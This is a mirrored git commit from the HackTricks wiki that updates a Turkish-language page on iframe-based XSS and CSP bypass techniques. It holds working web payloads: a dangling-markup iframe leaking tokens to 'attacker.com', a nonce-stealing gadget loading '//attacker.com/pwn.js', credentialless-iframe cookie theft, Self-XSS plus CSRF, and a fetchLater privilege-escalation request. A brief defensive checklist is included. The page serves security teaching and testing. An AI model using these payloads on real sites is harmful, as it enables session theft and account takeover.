mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
parent
5f3d68f1cf
commit
0696a5dd78
@ -6,7 +6,7 @@
|
||||
|
||||
Iframe'li bir sayfanın içeriğini belirtmenin 3 yolu vardır:
|
||||
|
||||
- Bir URL belirten `src` aracılığıyla (URL, farklı kökenli veya aynı kökenli olabilir)
|
||||
- Bir URL belirten `src` aracılığıyla (URL, çapraz köken veya aynı köken olabilir)
|
||||
- `data:` protokolünü kullanarak içeriği belirten `src` aracılığıyla
|
||||
- İçeriği belirten `srcdoc` aracılığıyla
|
||||
|
||||
@ -46,22 +46,22 @@ alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
Eğer önceki html'ye bir http sunucusu (örneğin `python3 -m http.server`) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). **Ana sayfa, herhangi bir iframe içindeki `secret` değişkenine erişemeyecek** ve **sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilenler) orijinal penceredeki secret'a erişebilir**.\
|
||||
if4'ün `null` kökenine sahip olduğu dikkate alın.
|
||||
if4'ün `null` kökenine sahip olduğu not edilmelidir.
|
||||
|
||||
### CSP ile Iframe'ler <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
|
||||
> [!TIP]
|
||||
> Lütfen, aşağıdaki bypass'larda iframed sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
|
||||
> Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya yanıtın JS çalıştırılmasını engelleyen herhangi bir CSP başlığı içermediğine dikkat edin.
|
||||
|
||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun yürütülmesine izin vermeyecektir.\
|
||||
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.\
|
||||
`script-src`'nin `self` değeri, `data:` protokolü veya `srcdoc` niteliği kullanarak JS kodunun çalıştırılmasına izin vermeyecektir.\
|
||||
Ancak, CSP'nin `none` değeri bile, `src` niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin çalıştırılmasına izin verecektir.\
|
||||
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -81,7 +81,7 @@ Ancak, **yalnızca `if1` ve `if2` script'leri çalıştırılacak, fakat yalnız
|
||||
|
||||
.png>)
|
||||
|
||||
Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **potansiyel olarak aynı site JSONP uç noktasını kötüye kullanarak da yapılabilir**.
|
||||
Bu nedenle, **eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta `script-src 'none'` ile bile**. Bu, **aynı site JSONP uç noktasını kötüye kullanarak da potansiyel olarak yapılabilir**.
|
||||
|
||||
Bunu, `script-src 'none'` ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin:
|
||||
```python
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Diğer Yükler doğada bulundu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Yeni (2023-2025) CSP atlatma teknikleri ile iframeler
|
||||
|
||||
Araştırma topluluğu, kısıtlayıcı politikaları aşmak için iframeleri kötüye kullanmanın yaratıcı yollarını keşfetmeye devam ediyor. Aşağıda son birkaç yıl içinde yayımlanan en dikkat çekici teknikleri bulabilirsiniz:
|
||||
|
||||
* **Dangling-markup / named-iframe veri sızıntısı (PortSwigger 2023)** – Bir uygulama HTML'yi yansıttığında ancak güçlü bir CSP script yürütümünü engellediğinde, *dangling* `<iframe name>` niteliğini enjekte ederek hassas token'ları sızdırabilirsiniz. Kısmi markup ayrıştırıldığında, ayrı bir kök altında çalışan saldırgan script, çerçeveyi `about:blank`'a yönlendirir ve artık bir sonraki alıntı karakterine kadar her şeyi içeren `window.name`'i okur (örneğin bir CSRF token'ı). Kurban bağlamında JavaScript çalışmadığı için, saldırı genellikle `script-src 'none'`'dan kaçınır. Minimal bir PoC:
|
||||
|
||||
```html
|
||||
<!-- Hassas bir <script>'ten hemen önceki enjekte noktası -->
|
||||
<iframe name="//attacker.com/?"> <!-- nitelik kasıtlı olarak açık bırakıldı -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com çerçevesi
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → sızdırılan değer
|
||||
```
|
||||
|
||||
* **Aynı kök iframeden nonce çalınması (2024)** – CSP nonceleri DOM'dan kaldırılmaz; yalnızca DevTools'ta gizlenir. Bir saldırgan *aynı kök* bir iframe enjekte edebilirse (örneğin HTML'yi siteye yükleyerek), çocuk çerçeve basitçe `document.querySelector('[nonce]').nonce` sorgulayabilir ve politikayı karşılayan yeni `<script nonce>` düğümleri oluşturabilir, bu da `strict-dynamic` olmasına rağmen tam JavaScript yürütümü sağlar. Aşağıdaki gadget, bir markup enjesini XSS'ye yükseltir:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Form-action kaçırma (PortSwigger 2024)** – `form-action` direktifini atlayan bir sayfanın giriş formu, enjekte edilmiş bir iframe veya satır içi HTML'den *yeniden hedeflenebilir*, böylece şifre yöneticileri kimlik bilgilerini otomatik olarak doldurup dış bir domaine gönderebilir, hatta `script-src 'none'` mevcut olduğunda bile. Her zaman `default-src`'yu `form-action` ile tamamlayın!
|
||||
|
||||
**Savunma notları (hızlı kontrol listesi)**
|
||||
|
||||
1. İkincil bağlamları kontrol eden *tüm* CSP direktiflerini her zaman gönderin (`form-action`, `frame-src`, `child-src`, `object-src`, vb.).
|
||||
2. Noncelerin gizli olduğuna güvenmeyin—`strict-dynamic` **ve** enjekte noktalarını ortadan kaldırın.
|
||||
3. Güvensiz belgeleri gömmek zorunda kaldığınızda `sandbox="allow-scripts allow-same-origin"` **çok dikkatli** kullanın (yalnızca script yürütüm izolasyonu gerekiyorsa `allow-same-origin` olmadan).
|
||||
4. Derinlikte bir savunma COOP+COEP dağıtımını düşünün; yeni `<iframe credentialless>` niteliği (§ aşağıda) bunu üçüncü taraf gömme işlemlerini bozmayacak şekilde yapmanıza olanak tanır.
|
||||
|
||||
### Doğada bulunan diğer yükler <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -121,33 +157,41 @@ Iframe içindeki içerik, `sandbox` niteliği kullanılarak ek kısıtlamalara t
|
||||
|
||||
Kullanıldığında, `sandbox` niteliği birkaç sınırlama getirir:
|
||||
|
||||
- İçerik, sanki benzersiz bir kaynaktan geliyormuş gibi muamele görür.
|
||||
- Formları göndermeye yönelik herhangi bir girişim engellenir.
|
||||
- İçerik, benzersiz bir kaynaktan geliyormuş gibi muamele görür.
|
||||
- Form gönderme girişimleri engellenir.
|
||||
- Scriptlerin çalıştırılması yasaktır.
|
||||
- Belirli API'lere erişim devre dışı bırakılır.
|
||||
- Bağlantıların diğer tarayıcı bağlamlarıyla etkileşimde bulunması engellenir.
|
||||
- `<embed>`, `<object>`, `<applet>` veya benzeri etiketler aracılığıyla eklentilerin kullanımı yasaktır.
|
||||
- İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
|
||||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.
|
||||
- Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik tetiklenen özellikler engellenir.
|
||||
|
||||
İpucu: Modern tarayıcılar, `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation` gibi ayrıntılı bayrakları destekler. Gömülü uygulamanın ihtiyaç duyduğu minimum yetenekleri sağlamak için bunları birleştirin.
|
||||
|
||||
Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (`sandbox=""`). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerler listesi olarak ayarlanabilir.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) açıklandığı gibi, bir iframe'deki `credentialless` bayrağı, yüklenen sayfanın aynı köken politikasını (SOP) korurken, bir iframe içinde bir sayfayı kimlik bilgileri göndermeden yüklemek için kullanılır.
|
||||
As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
|
||||
|
||||
Bu, iframe'in, ana sayfada yüklenen aynı SOP'deki başka bir iframe'den hassas bilgilere erişmesine olanak tanır:
|
||||
Since **Chrome 110 (Şubat 2023) bu özellik varsayılan olarak etkin** ve spesifikasyon, *anonymous iframe* adı altında tarayıcılar arasında standart hale getirilmektedir. MDN bunu şöyle tanımlıyor: “gerçek kökenle hiçbir çerez, localStorage veya IndexedDB paylaşılmayacak şekilde üçüncü taraf iframeleri yüklemek için yeni, geçici bir depolama bölümü oluşturma mekanizması”. Saldırganlar ve savunucular için sonuçlar:
|
||||
|
||||
* Farklı credentialless iframelerdeki **scriptler hala aynı üst düzey kökeni paylaşır** ve DOM aracılığıyla serbestçe etkileşimde bulunabilir, bu da çoklu iframe self-XSS saldırılarını mümkün kılar (aşağıdaki PoC'ye bakın).
|
||||
* Ağ **credential-stripped** olduğu için, iframedeki herhangi bir istek etkili bir şekilde kimlik doğrulaması yapılmamış bir oturum gibi davranır – CSRF korumalı uç noktalar genellikle başarısız olur, ancak DOM aracılığıyla sızdırılabilir kamu sayfaları hala kapsamda kalır.
|
||||
* Credentialless iframeden oluşturulan pop-up'lar, bazı OAuth akışlarını bozarak örtük bir `rel="noopener"` alır.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Exploit örneği: Self-XSS + CSRF
|
||||
- Sömürü örneği: Self-XSS + CSRF
|
||||
|
||||
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
|
||||
|
||||
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen bir CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
|
||||
- `credentialless` bayrağı ile kurbanın sayfasını yükleyen bir iframe ve bir XSS tetikleyen CSRF (Kullanıcının kullanıcı adında bir Self-XSS hayal edin):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -165,15 +209,15 @@ document.forms[0].submit();
|
||||
|
||||
- Gerçekten kullanıcının giriş yaptığı ( `credentialless` bayrağı olmadan) başka bir iframe.
|
||||
|
||||
Sonra, XSS'den diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
|
||||
Sonra, XSS'ten diğer iframe'e erişmek mümkündür çünkü aynı SOP'ye sahiptirler ve örneğin çerezi çalmak için şu komutu çalıştırabilirsiniz:
|
||||
```javascript
|
||||
alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Saldırısı
|
||||
|
||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, bu, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, mevcut kullanıcının şifresini değiştirmek için bir `fetchLater` isteği ayarlamak ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
|
||||
[Bu makalede](https://blog.slonser.info/posts/make-self-xss-great-again/) belirtildiği gibi, `fetchLater` API'si bir isteğin daha sonra (belirli bir süre sonra) yürütülmesi için yapılandırılmasına olanak tanır. Bu nedenle, örneğin, bir kurbanı bir saldırganın oturumu içinde (Self-XSS ile) oturum açmak, bir `fetchLater` isteği ayarlamak (örneğin, mevcut kullanıcının şifresini değiştirmek için) ve saldırganın oturumundan çıkmak için kötüye kullanılabilir. Ardından, kurban kendi oturumuna giriş yapar ve `fetchLater` isteği yürütülerek, kurbanın şifresi saldırgan tarafından ayarlanan şifreye değiştirilir.
|
||||
|
||||
Bu şekilde, kurbanın URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
|
||||
Bu şekilde, kurban URL'si bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de kurbanın oturumunda bir isteği yürütme yeteneğine sahip olabilir.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
@ -183,7 +227,7 @@ fetchLater(req,{activateAfter: timeout})
|
||||
```
|
||||
## SOP'de Iframe'ler
|
||||
|
||||
Aşağıdaki sayfaları kontrol edin:
|
||||
Aşağıdaki sayfalara göz atın:
|
||||
|
||||
{{#ref}}
|
||||
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
|
||||
@ -201,4 +245,10 @@ Aşağıdaki sayfaları kontrol edin:
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
* [PortSwigger Araştırma – CSP'yi aşmak için form kaçırma kullanma (Mart 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Geliştiricileri – Iframe kimlik bilgisi olmadan: COEP ortamlarında iframe'leri kolayca gömme (Şub 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user